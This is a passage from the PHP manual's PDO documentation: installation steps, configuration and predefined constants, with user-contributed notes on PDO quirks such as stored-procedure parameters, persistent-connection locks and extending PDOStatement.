    } # end method

    /*
     * Passes on any static calls to this class onto the singleton PDO instance
     * @param $chrMethod, $arrArguments
     * @return $mix
     */
    final public static function __callStatic( $chrMethod, $arrArguments ) {

        $objInstance = self::getInstance();

        return call_user_func_array(array($objInstance, $chrMethod), $arrArguments);

    } # end method

}
?>
rijnzael at gmail dot com 04-Sep-2008 01:46
If you plan on using prepared statements to issue a series of KILLs, think again.  PDO apparently does not support this, and will tell you, assuming you don't put any parameters in the statement (a situation in which it would be pointless to use prepared statements anyway).  If you do specify some ?-mark parameters, it will just spit out an error that doesn't help at all.
cmcculloh 25-Jun-2008 12:14
It appears that PDO SQL statements can not make use of /* */ comments. Or at least, when I was trying to use them with mine it was crashing without error and giving me a blank page (even though I surrounded with try catch block).
h dot nieser at xs4all dot nl 07-May-2008 09:20
Something to be aware of: when dynamically using different database drivers (in my case this was PostgreSQL and MySQL, I have not tested any others) and persistent connections, the error-mode will for some reason not always be PDO::ERRMODE_SILENT by default when using the MySQL database driver.

The only way I was able to get a consistent PDO::ERR_MODE between PostgreSQL and MySQL was by either explicitly setting the error mode, or just disabling persistent connections.
michaelbaker at westnet dot com dot au 29-Jan-2008 05:47
There is another function which is not listed here.. for debugging

PDOStatement:::debugDumpParams() which will return a string with with the sql query and the bound param's.
ob.php from daevel.fr 30-Dec-2007 12:57
Be careful with PDO extends : if you use the smileaf's example, PDO will close the connection only at the end of the script, because of the "array( $this )" parameter used with the setAttribute() method.

Instead, I use only this :
    $this->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( $this->statementClassName, array() ) );

And in prepare() and query() method you can populate the "dbh" if you really need it.
neonmandk at gmail dot com 10-Dec-2007 04:29
If you will make a OBJ row from PDO you can use this eg.

$resKampange = $dbc->prepare( "SELECT * FROM Table LIMIT 1" );
$resKampange->execute();
$rowKampange = $resKampange->fetch( PDO::FETCH_OB );

echo $rowKampange->felt1;

Good lock :0)
Ostap 03-Dec-2007 02:08
There is a book titled "Learning PHP Data Objects" written by Dennis Popel and published by Packt. There is a post with further links (ordering, reviews) at author's blog: http://www.onphp5.com/article/58
nospam dot list at unclassified dot de 13-Nov-2007 04:24
When using persistent connections, pay attention not to leave the database connection in some kind of locked state. This can happen when you start a transaction by hand (i.e. not through the PDO->beginTransaction() method), possibly even acquire some locks (e.g. with "SELECT ... FOR UPDATE", "LOCK TABLES ..." or in SQLite with "BEGIN EXCLUSIVE TRANSACTION") and then your PHP script ends with a fatal error, unhandled exception or under other circumstances that lead to an unclean exit.

To use that database again, it may then be necessary to disable the persistence attribute to get a new database connection or restart the web server. (Persistent connections should not work with a PHP-CGI anyway.) It does not work (tested with PHP 5.2.3/WinXP and SQLite) to close a persistent database connection - it will not actually be closed but instead returned to PDO's connection pool.

The only thing you can do to resolve the lock as a regular user (I imagine) is to try and get all of your persistent connections in a single script and unlock the tables resp. end the transactions with the appropriate SQL statements ("UNLOCK TABLES" in MySQL, "ROLLBACK" for transactions). Should they fail, there is no problem, but one or some of them might succeed and thereby resolve your locking problem.
xorinox at vtxmail dot ch 04-Nov-2007 03:52
I have seen a lot of user struggling with calling mysql procedures with in/out/inout parameters using bindParam. There seems to be a bug or missing feature within the mysql C api. This at least I could find out after reading a lot of posts at different places...

At the moment I workaround it like below. $con is a PDO object:

<?php
//in
$proc = $con->prepare( "call proc_in( @i_param )" );
$con->query( "set @i_param = 'myValue'" );
$proc->execute();

//out
$proc = $con->prepare( "call proc_out( @o_param )" );
$proc->execute();
$o_param = $con->query( "select @o_param" )->fetchColumn();

//inout
$proc = $con->prepare( "call proc_inout( @io_param )" );
$con->query( "set @io_param = 'myValue'" );
$proc->execute();
$io_param = $con->query( "select @io_param" )->fetchColumn();
?>
Konstantin at Tokar dot ru 16-Oct-2007 08:34
Example 5:
<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
.......
} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

We must change the last two lines to catch the error connecting to the database:

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
  $dbh->rollBack();
}
?>
anton dot clarke at sonikmedia dot com 02-Sep-2007 12:12
Not all PDO drivers return a LOB as a file stream; mysql 5 is one example. Therefore when streaming a mime typed object from the database you cannot use fpassthru.

The following is a modified example that works with a mysql database. (Tested FreeBSD v 6.2 with mysql 5.0.45 and php 5.2.3)

<?php
ob_start();
$db = new PDO('mysql:host=localhost;dbname=<SOMEDB>', '<USERNAME>', 'PASSWORD');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
ob_clean();
header("Content-Type: $type");
echo $lob; // fpassthru reports an error that $lob is not a stream so echo is used in place.
ob_end_flush();
?>

Please note the inclusion of buffer control. I only needed this when using 'include','include_once','require', or 'require_once' - my feeling is there is a subtle issue with those options as even an empty include file caused a buffer issue for me. === AND YES, I DID CHECK MY INCLUDE FILES DID NOT HAVE SPURIOUS WHITESPACE ETC OUTSIDE THE <?php ?> DELIMITERS! ===
metalim 25-May-2007 05:38
From Oracle example:
<?
$stmt->beginTransaction();
$stmt->execute();
$stmt->commit();
?>

PDOStatement has no beginTransaction(), nor commit(). Please fix documentation.
bart at mediawave dot nl 23-May-2007 07:57
It seems MySQL doesn't support scrollable cursors. So unfortunately PDO::CURSOR_SCROLL wont work.
chad 0x40 herballure 0x2e com 17-Apr-2007 06:46
I just discovered that PDOStatement implements Traversable. That means you can use it in foreach loops to iterate over rows:

<?php
$pdo = new PDO('mysql:dbname=test');
$sth = $pdo->query('SELECT data FROM t1');
foreach($sth as $row) {
  echo $row['data'], "\n";
}
?>
djlopez at gmx dot de 12-Mar-2007 05:04
Note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE ? < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

Parameters cannot be applied on column names!!
smileaf at smileaf dot org 01-Mar-2007 10:57
If you intend on extending PDOStatement and your using
setAttribute(PDO::ATTR_STATEMENT_CLASS, ...)
you must override the __construct() of your PDOStatement class.
failure to do so will result in an error on any PDO::query() call.
Warning: PDO::query() [function.PDO-query]: SQLSTATE[HY000]: General error: user-supplied statement does not accept constructor arguments

Here is a minimum PDO and PDOStatement class
<?php
class Database extends PDO {
    function __construct($dsn, $username="", $password="", $driver_options=array()) {
        parent::__construct($dsn,$username,$password, $driver_options);
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}
class DBStatement extends PDOStatement {
    public $dbh;
    protected function __construct($dbh) {
        $this->dbh = $dbh;
    }
}
?>
php at moechofe dot com 17-Feb-2007 11:52
Simple example to extends PDO

<?php

class connexion extends PDO
{
  public $query = null;
  public function prepare( $statement, $driver_options = array() )
  {
    $this->query = $statement;
    return parent::prepare( $statement, $driver_options = array() );
  }
  public function last_query()
  {
    return $this->query;
  }
}

class connexion_statement extends PDOStatement
{
  protected $pdo;
  protected function __construct($pdo)
  {
     $this->pdo = $pdo;
  }
  // return first column of first row
  public function fetchFirst()
  {
    $row = $this->fetch( PDO::FETCH_NUM );
    return $row[0];
  }
  // real cast number
  public function fetch( $fetch_style = null, $cursor_orientation = null, $cursor_offset = null )
  {
    $row = parent::fetch( $fetch_style, $cursor_orientation, $cursor_offset );
    if( is_array($row) )
      foreach( $row as $key => $value )
        if( strval(intval($value)) === $value )
          $row[$key] = intval($value);
        elseif( strval(floatval($value)) === $value )
          $row[$key] = floatval($value);
    return $row;
  }
  // permit $prepare->execute( $arg1, $arg2, ... );
  public function execute( $args = null )
  {
    if( is_array( $args ) )
      return parent::execute( $args );
    else
    {
      $args = func_get_args();
      return eval( 'return parent::execute( $args );' );
    }
  }
  public function last_query()
  {
    return $this->pdo->last_query();
  }
}

$pdo = new connexion( ... );
$pdo->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( 'connexion_statement', array($pdo) ) );

?>
katzke at gmail dot com 08-Jan-2007 12:38
It doesn't seem at this time that there's a practical solution (besides creating multiple PDO objects and therefore DB connections) to accessing and switching between multiple databases -- as with the mysql_select_db function.
webform at aouie dot website 27-Sep-2006 11:38
If you use $dbh = new PDO('pgsql:host=localhost;dbname=test_basic01', $user, $pass); and you get the following error:
PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[08006] [7] could not connect to server: Connection refused\n\tIs the server running on host "localhost" and accepting\n\tTCP/IP connections on port 5432?'
then as pointed out under pg_connect at: http://www.php.net/manual/en/function.pg-connect.php#38291
******
you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
******
Sincerely,
Aouie
djlopez at gmx dot de 30-Aug-2006 02:56
Please note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM ?  WHERE calories < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

The parameter cannot be applied on table names!!
paulius_k at yahoo dot com 25-Jul-2006 08:42
If you need to get Output variable from MSSQL stored procedure, try this :

-- PROCEDURE
CREATE PROCEDURE spReturn_Int @err int OUTPUT
AS
SET @err = 11
GO

$sth = $dbh->prepare("EXECUTE spReturn_Int ?");
$sth->bindParam(1, $return_value, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$sth->execute();
print "procedure returned $return_value\n";
nicolas at serpe dot org 21-May-2006 12:36
I use PDO with the ODBC driver to query stored procedures in a MS SQL Server 2005 Database under Windows XP Professional with IIS 5 and PHP 5.1.4. You may have the same problems with a different configuration.

I experienced 2 very time consuming errors:

1. The first one is when you return the result of a SELECT query, and you get the following clueless message:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[24000]: Invalid cursor state: 0 [Microsoft][SQL Native Client]Invalid cursor state (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Your exact message may be different, the part to pay attention to is "Invalid cursor state".

-> I found that I had this error because I didn't include "SET NOCOUNT ON" in the *body* of the stored procedure. By default the server returns a special piece of information along with the results, indicating how many rows were affected by the stored procedure, and that's not handled by PDO.

2. The second error I had was:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[22003]: Numeric value out of range: 0 [Microsoft][SQL Native Client]Numeric value out of range (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Another meaningless error "Numeric value out of range"...

-> I was actually returning a date datatype (datetime or smalldatetime) "as is", that is, without converting it to varchar before including it in the result set... I don't know if PDO is responsible for converting it to a PHP datatype, but it doesn't. Convert it before it reaches PHP.
pokojny at radlight dot com 23-Apr-2006 08:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
    class PDOp {
        protected $PDO;
        public $numExecutes;
        public $numStatements;
        public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
            $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
            $this->numExecutes = 0;
            $this->numStatements = 0;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDO, $func), $args);
        }
        public function prepare() {
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function query() {
            $this->numExecutes++;
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function exec() {
            $this->numExecutes++;

            $args = func_get_args();
            return call_user_func_array(array(&$this->PDO, 'exec'), $args);
        }
    }
    class PDOpStatement implements IteratorAggregate {
        protected $PDOS;
        protected $PDOp;
        public function __construct($PDOp, $PDOS) {
            $this->PDOp = $PDOp;
            $this->PDOS = $PDOS;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDOS, $func), $args);
        }
        public function bindColumn($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindColumn($column, $param);
            else
                $this->PDOS->bindColumn($column, $param, $type);
        }
        public function bindParam($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindParam($column, $param);
            else
                $this->PDOS->bindParam($column, $param, $type);
        }
        public function execute() {
            $this->PDOp->numExecutes++;
            $args = func_get_args();
            return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
        }
        public function __get($property) {
            return $this->PDOS->$property;
        }
        public function getIterator() {
            return $this->PDOS;
        }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
keyvez at hotmail dot com 09-Mar-2006 12:49
PDO doesn't return OUTPUT params from mssql stored procedures

/* Stored Procedure Create Code: */
/*
CREATE PROCEDURE p_sel_all_termlength @err INT OUTPUT AS
SET @err = 2627
*/

/* PHP Code: */
<?php
    $Link = new PDO('mssql:host=sqlserver;dbname=database', 'username',
'password');

    $ErrorCode = 0;

    $Stmt = $Link->prepare('p_sel_all_termlength ?');
    $Stmt->bindParam(1,$ErrorCode,PDO::PARAM_INT,4);
    $Stmt->execute();
    echo "Error = " . $ErrorCode . "\n";
?>

/* PHP Output:
Error = 0
*/
www.navin.biz 19-Feb-2006 10:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
    function __construct()
    {
        parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}

class DBStatement extends PDOStatement
{
    public $dbh;

    protected function __construct($dbh)
    {
        $this->dbh = $dbh;
        $this->setFetchMode(PDO::FETCH_OBJ);
    }

    public function foundRows()
    {
        $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
        $rows->execute();
        $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
        $rows->closeCursor();
        return $rowsCount;
    }
}

?>
Dariusz Kielar 12-Feb-2006 10:50
I found a nice pdo modification written in php called Open Power Driver. It has identical API with the original, but allows you to cache query results: http://www.openpb.net/opd.php
shaolin at adf dot nu 07-Feb-2006 06:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.
tomasz dot wasiluk at gmail dot com 01-Jan-2006 04:09
Watch out for putting spaces in the DSN
mysql:host=localhost;dbname=test works
mysql: host = localhost; dbname=test works
mysql: host = localhost; dbname = test doesn't work...
Matthias Leuffen 04-Dec-2005 01:36
Hi there,

because of ZDE 5.0 and other PHP-IDEs do not seem to support PDO from PHP5.1 in code-completion-database yet, I wrote a code-completion alias for the PDO class.
NOTE: This Class has no functionality and should be only included to your IDE-Project but NOT(!) to your application.

<?php
/**
 * This is a Code-Completion only file
 * (For use with ZDE or other IDEs)
 *
 * Do NOT include() or require() this to your code
 *
 * @author Matthias Leuffen
 */

    class PDO {

        /**
         * Error Constants
         *
         */
        const ERR_ALREADY_EXISTS = 0;
        const ERR_CANT_MAP = 0;
        const ERR_NOT_FOUND = 0;
        const ERR_SYNTAX = 0;
        const ERR_CONSTRAINT = 0;
        const ERR_MISMATCH = 0;
        const ERR_DISCONNECTED = 0;
        const ERR_NONE = 0;

        /**
         * Attributes (to use in PDO::setAttribute() as 1st Parameter)
         *
         */
        const ATTR_ERRMODE = 0;
        const ATTR_TIMEOUT = 0;
        const ATTR_AUTOCOMMIT = 0;
        const ATTR_PERSISTENT = 0;

        // Values for ATTR_ERRMODE
        const ERRMODE_EXCEPTION = 0;
        const ERRMODE_WARNING = 0;

        const FETCH_ASSOC = 0;
        const FETCH_NUM = 0;
        const FETCH_OBJ = 0;

        public function __construct($uri, $user, $pass, $optsArr) {
        }

        /**
         * Prepare Statement: Returns PDOStatement
         *
         * @param string $prepareString
         * @return PDOStatement
         */
        public function prepare ($prepareString) {
        }
        public function query ($queryString) {
        }
        public function quote ($input) {
        }
        public function exec ($statement) {
        }
        public function lastInsertId() {
        }
        public function beginTransaction () {
        }
        public function commit () {
        }
        public function rollBack () {
        }
        public function errorCode () {
        }
        public function errorInfo () {
        }
    }

    class PDOStatement {

        public function bindValue ($no, $value) {
        }
        public function fetch () {
        }
        public function nextRowset () {
        }
        public function execute() {
        }
        public function errorCode () {
        }
        public function errorInfo () {
        }
        public function rowCount () {
        }
        public function setFetchMode ($mode) {
        }
        public function columnCount () {
        }
    }
ng4rrjanbiah at rediffmail dot com 15-Mar-2005 10:53
Some useful links on PDO:
1. PDO Wiki ( http://wiki.cc/php/PDO )
2. Introducing PHP Data Objects ( http://netevil.org/downloads/Introducing-PDO.ppt ), [226 KB], Wez Furlong, 2004-09-24
3. The PHP 5 Data Object (PDO) Abstraction Layer and Oracle ( http://www.oracle.com/technology/pub/articles/php_experts/otn_pdo_oracle5.html ), [60.85 KB], Wez Furlong, 2004-07-28
4. PDO - Why it should not be part of core PHP! ( http://www.akbkhome.com/blog.php/View/55/ ), Critical review, [38.63 KB], Alan Knowles, 2004-10-22

HTH,
R. Rajesh Jeba Anbiah
odbc_tables
Introduction
Abstraction Layers


Introduction

The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for accessing databases in PHP. Each database driver that implements the PDO interface can expose database-specific features as regular extension functions. Note that you cannot perform any database functions using the PDO extension by itself; you must use a database-specific PDO driver to access a database server.

PDO provides a data-access abstraction layer, which means that, regardless of which database you're using, you use the same functions to issue queries and fetch data. PDO does not provide a database abstraction; it doesn't rewrite SQL or emulate missing features. You should use a full-blown abstraction layer if you need that facility.

PDO ships with PHP 5.1, and is available as a PECL extension for PHP 5.0; PDO requires the new OO features in the core of PHP 5, and so will not run with earlier versions of PHP.

User Contributed Notes

There are no user contributed notes for this page.
PDO
Installing/Configuring
PDO


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PDO


Installation

Installing PDO on Unix systems

  1. PDO and the PDO_SQLITE driver is enabled by default as of PHP 5.1.0. You may need to enable the PDO driver for your database of choice; consult the documentation for database-specific PDO drivers to find out more about that. Note: When building PDO as a shared extension (not recommended) then all PDO drivers must be loaded after PDO itself.

  2. When installing PDO as a shared module, the php.ini file needs to be updated so that the PDO extension will be loaded automatically when PHP runs. You will also need to enable any database specific drivers there too; make sure that they are listed after the pdo.so line, as PDO must be initialized before the database-specific extensions can be loaded. If you built PDO and the database-specific extensions statically, you can skip this step.

    extension=pdo.so

Windows users

  1. PDO and all the major drivers ship with PHP as shared extensions, and simply need to be activated by editing the php.ini file:

    extension=php_pdo.dll

    Note:

    This step is not necessary for PHP 5.3 and above, as a DLL is no longer required for PDO.

  2. Next, choose the other database-specific DLL files and either use dl() to load them at runtime, or enable them in php.ini below php_pdo.dll. For example:

    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_informix.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    These DLLs should exist in the system's extension_dir.

User Contributed Notes

dtcwee at hotmail dot com 08-Apr-2011 04:16
You may receive this error when testing a PDO-ODBC connection:

"The specified DSN contains an architecture mismatch between the Driver and Application"

My environment was Windows 7 (64 bit), MySQL ODBC drivers (64 bit), Apache 2.2.17 (32 bit), PHP 5.3.5 (32 bit).

If you are like me, you were testing the PDO-ODBC connection because the native database drivers were not visible to PHP. Furthermore, the MySQL 32 bit drivers did not work in my environment.

Solution: Your environment has to be 64 bit all the way through.

Install 64 bit versions of Apache and PHP. They are not available from official sources. However, kind people have compiled some and made them available for download.

As a bonus, the native database drivers suddenly showed up enabled.
gerrywastaken 13-Nov-2009 12:13
This page states
"You may need to enable the PDO driver for your database of choice; consult the documentation for [database-specific PDO drivers]  to find out more about that."

With the term "database-specific PDO drivers" being a link to this information. However you will no find this information on that or any of the pages that it in turn links to.

The appropriate config options seems to be only available by running ./config --help from the source directory after running autoconf.

Here is the related output from running that command:
=====================
  --with-pdo-dblib[=DIR]    PDO: DBLIB-DB support.  DIR is the FreeTDS home directory
  --with-pdo-firebird[=DIR] PDO: Firebird support.  DIR is the Firebird base
                            install directory [/opt/firebird]
  --with-pdo-mysql[=DIR]    PDO: MySQL support. DIR is the MySQL base directoy
                                 If mysqlnd is passed as DIR, the MySQL native
                                 native driver will be used [/usr/local]
  --with-zlib-dir[=DIR]       PDO_MySQL: Set the path to libz install prefix
  --with-pdo-oci[=DIR]      PDO: Oracle OCI support. DIR defaults to $ORACLE_HOME.
                            Use --with-pdo-oci=instantclient,prefix,version
                            for an Oracle Instant Client SDK.
                            For Linux with 10.2.0.3 RPMs (for example) use:
                            --with-pdo-oci=instantclient,/usr,10.2.0.3
  --with-pdo-odbc=flavour,dir
                            PDO: Support for 'flavour' ODBC driver.
                            include and lib dirs are looked for under 'dir'.

                            'flavour' can be one of:  ibm-db2, iODBC, unixODBC, generic
                            If ',dir' part is omitted, default for the flavour
                            you have selected will used. e.g.:

                              --with-pdo-odbc=unixODBC

                            will check for unixODBC under /usr/local. You may attempt
                            to use an otherwise unsupported driver using the "generic"
                            flavour.  The syntax for generic ODBC support is:

                              --with-pdo-odbc=generic,dir,libname,ldflags,cflags

                            When build as shared the extension filename is always pdo_odbc.so
  --with-pdo-pgsql[=DIR]    PDO: PostgreSQL support.  DIR is the PostgreSQL base
                            install directory or the path to pg_config
  --without-pdo-sqlite[=DIR]
                            PDO: sqlite 3 support.  DIR is the sqlite base
                            install directory [BUNDLED]
=====================

So if you wish for instance to install the PostgreSQL PDO driver, then you should add the --with-pdo-pgsql config option before compiling PHP. I may have made mistakes in my explination, however it appears to work and was my best guess given the absence of the mentioned documentation.
it at lanar dot com dot au 07-Jun-2009 02:06
To add from windows, simply use add/remove programs to change the PHP installation and select the PDO features required.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO Configuration Options
Name | Default | Changeable | Changelog
pdo.dsn.* |  | php.ini only |

Here's a short explanation of the configuration directives.

pdo.dsn.* string

Defines DSN alias. See PDO::__construct() for thorough explanation.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Warning

PDO uses class constants since PHP 5.1. Prior releases use global constants in the form PDO_PARAM_BOOL.

PDO::PARAM_BOOL (integer)
Represents a boolean data type.
PDO::PARAM_NULL (integer)
Represents the SQL NULL data type.
PDO::PARAM_INT (integer)
Represents the SQL INTEGER data type.
PDO::PARAM_STR (integer)
Represents the SQL CHAR, VARCHAR, or other string data type.
PDO::PARAM_LOB (integer)
Represents the SQL large object data type.
PDO::PARAM_STMT (integer)
Represents a recordset type. Not currently supported by any drivers.
PDO::PARAM_INPUT_OUTPUT (integer)
Specifies that the parameter is an INOUT parameter for a stored procedure. You must bitwise-OR this value with an explicit PDO::PARAM_* data type.
PDO::FETCH_LAZY (integer)
Specifies that the fetch method shall return each row as an object with variable names that correspond to the column names returned in the result set. PDO::FETCH_LAZY creates the object variable names as they are accessed.
PDO::FETCH_ASSOC (integer)
Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO::FETCH_ASSOC returns only a single value per column name.
PDO::FETCH_NAMED (integer)
Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO::FETCH_NAMED returns an array of values per column name.
PDO::FETCH_NUM (integer)
Specifies that the fetch method shall return each row as an array indexed by column number as returned in the corresponding result set, starting at column 0.
PDO::FETCH_BOTH (integer)
Specifies that the fetch method shall return each row as an array indexed by both column name and number as returned in the corresponding result set, starting at column 0.
PDO::FETCH_OBJ (integer)
Specifies that the fetch method shall return each row as an object with property names that correspond to the column names returned in the result set.
PDO::FETCH_BOUND (integer)
Specifies that the fetch method shall return TRUE and assign the values of the columns in the result set to the PHP variables to which they were bound with the PDOStatement::bindParam() or PDOStatement::bindColumn() methods.
PDO::FETCH_COLUMN (integer)
Specifies that the fetch method shall return only a single requested column from the next row in the result set.
PDO::FETCH_CLASS (integer)
Specifies that the fetch method shall return a new instance of the requested class, mapping the columns to named properties in the class.

Note: The magic __set() method is called if the property doesn't exist in the requested class

PDO::FETCH_INTO (integer)
Specifies that the fetch method shall update an existing instance of the requested class, mapping the columns to named properties in the class.
PDO::FETCH_FUNC (integer)
PDO::FETCH_GROUP (integer)
PDO::FETCH_UNIQUE (integer)
PDO::FETCH_KEY_PAIR (integer)
Fetch a two-column result into an array where the first column is a key and the second column is the value. Available since PHP 5.2.3.
PDO::FETCH_CLASSTYPE (integer)
Determine the class name from the value of first column.
PDO::FETCH_SERIALIZE (integer)
As PDO::FETCH_INTO but object is provided as a serialized string. Available since PHP 5.1.0.
PDO::FETCH_PROPS_LATE (integer)
Available since PHP 5.2.0
PDO::ATTR_AUTOCOMMIT (integer)
If this value is FALSE, PDO attempts to disable autocommit so that the connection begins a transaction.
PDO::ATTR_PREFETCH (integer)
Setting the prefetch size allows you to balance speed against memory usage for your application. Not all database/driver combinations support setting of the prefetch size. A larger prefetch size results in increased performance at the cost of higher memory usage.
PDO::ATTR_TIMEOUT (integer)
Sets the timeout value in seconds for communications with the database.
PDO::ATTR_ERRMODE (integer)
See the Errors and error handling section for more information about this attribute.
PDO::ATTR_SERVER_VERSION (integer)
This is a read only attribute; it will return information about the version of the database server to which PDO is connected.
PDO::ATTR_CLIENT_VERSION (integer)
This is a read only attribute; it will return information about the version of the client libraries that the PDO driver is using.
PDO::ATTR_SERVER_INFO (integer)
This is a read only attribute; it will return some meta information about the database server to which PDO is connected.
PDO::ATTR_CONNECTION_STATUS (integer)
PDO::ATTR_CASE (integer)
Force column names to a specific case specified by the PDO::CASE_* constants.
PDO::ATTR_CURSOR_NAME (integer)
Get or set the name to use for a cursor. Most useful when using scrollable cursors and positioned updates.
PDO::ATTR_CURSOR (integer)
Selects the cursor type. PDO currently supports either PDO::CURSOR_FWDONLY and PDO::CURSOR_SCROLL. Stick with PDO::CURSOR_FWDONLY unless you know that you need a scrollable cursor.
PDO::ATTR_DRIVER_NAME (string)
Returns the name of the driver.

Example #1 using PDO::ATTR_DRIVER_NAME

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
  echo "Running on mysql; doing something mysql specific here\n";
}
?>

PDO::ATTR_ORACLE_NULLS (integer)
Convert empty strings to SQL NULL values on data fetches.
PDO::ATTR_PERSISTENT (integer)
Request a persistent connection, rather than creating a new connection. See Connections and Connection management for more information on this attribute.
PDO::ATTR_STATEMENT_CLASS (integer)
PDO::ATTR_FETCH_CATALOG_NAMES (integer)
Prepend the containing catalog name to each column name returned in the result set. The catalog name and column name are separated by a decimal (.) character. Support of this attribute is at the driver level; it may not be supported by your driver.
PDO::ATTR_FETCH_TABLE_NAMES (integer)
Prepend the containing table name to each column name returned in the result set. The table name and column name are separated by a decimal (.) character. Support of this attribute is at the driver level; it may not be supported by your driver.
PDO::ATTR_STRINGIFY_FETCHES (integer)
PDO::ATTR_MAX_COLUMN_LEN (integer)
PDO::ATTR_DEFAULT_FETCH_MODE (integer)
Available since PHP 5.2.0
PDO::ATTR_EMULATE_PREPARES (integer)
Available since PHP 5.1.3.
PDO::ERRMODE_SILENT (integer)
Do not raise an error or exception if an error occurs. The developer is expected to explicitly check for errors. This is the default mode. See Errors and error handling for more information about this attribute.
PDO::ERRMODE_WARNING (integer)
Issue a PHP E_WARNING message if an error occurs. See Errors and error handling for more information about this attribute.
PDO::ERRMODE_EXCEPTION (integer)
Throw a PDOException if an error occurs. See Errors and error handling for more information about this attribute.
PDO::CASE_NATURAL (integer)
Leave column names as returned by the database driver.
PDO::CASE_LOWER (integer)
Force column names to lower case.
PDO::CASE_UPPER (integer)
Force column names to upper case.
PDO::NULL_NATURAL (integer)
PDO::NULL_EMPTY_STRING (integer)
PDO::NULL_TO_STRING (integer)
PDO::FETCH_ORI_NEXT (integer)
Fetch the next row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_PRIOR (integer)
Fetch the previous row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_FIRST (integer)
Fetch the first row in the result set. Valid only for scrollable cursors.
